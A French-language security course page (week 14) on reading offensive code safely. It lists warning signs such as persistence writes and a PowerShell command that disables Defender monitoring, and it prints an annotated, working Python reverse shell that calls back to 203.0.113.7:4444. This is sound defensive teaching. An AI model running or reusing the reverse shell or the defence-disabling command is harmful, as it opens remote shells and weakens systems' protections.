Semaine 14 — Analyse de code et d'outils offensifs
Objectifs pédagogiques
- Lire un exploit public sans l'exécuter aveuglément.
- Identifier les charges dangereuses, les rappels réseau, les persistances.
- Documenter un outil offensif comme on rédige un constat : preuve, impact, remédiation.
Méthode de lecture d'un exploit
- Statique d'abord, jamais d'exécution avant compréhension.
- Localiser les primitives sensibles : ouverture de socket, appel système, exécution
dynamique (
eval,exec,Function, réflexion). - Identifier la charge utile : ce qu'elle installe, ce qu'elle contacte, ce qu'elle persiste.
- Reconstituer le modèle de menace : à quel niveau de privilège, contre quelle version, avec quels prérequis réseau.
Signaux à repérer immédiatement
- URL codées en dur pointant vers un domaine tiers.
- Adresses IP littérales, surtout dans une plage résidentielle.
- Chaînes encodées en base64 ou XOR — souvent une charge cachée.
- Instructions d'écriture dans
~/.ssh/authorized_keys,crontab,Registry\Run. - Fonctions désactivant les défenses (
Set-MpPreference -DisableRealtimeMonitoring $true).
Exemple annoté
# À NE PAS EXÉCUTER — annotation pédagogique.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket TCP
s.connect(("203.0.113.7", 4444)) # rappel externe codé en dur
os.dup2(s.fileno(), 0) # redirection stdin
os.dup2(s.fileno(), 1) # redirection stdout
os.dup2(s.fileno(), 2) # redirection stderr
subprocess.call(["/bin/sh", "-i"]) # shell interactif
Lecture : reverse shell TCP, connexion sortante vers 203.0.113.7:4444, aucune persistance, pas
d'obfuscation. Détection possible par toute règle réseau bloquant les sorties inhabituelles.
Éthique
Publier un exploit fonctionnel doit toujours s'accompagner :
- D'un délai de divulgation coordonné avec l'éditeur.
- D'une remédiation documentée.
- D'un cadre de responsabilité vis-à-vis des utilisateurs.
Prochaine étape
Une fois cette leçon marquée comme terminée, vous avez validé les 16 étapes du parcours. Passez au quiz final pour obtenir votre certificat.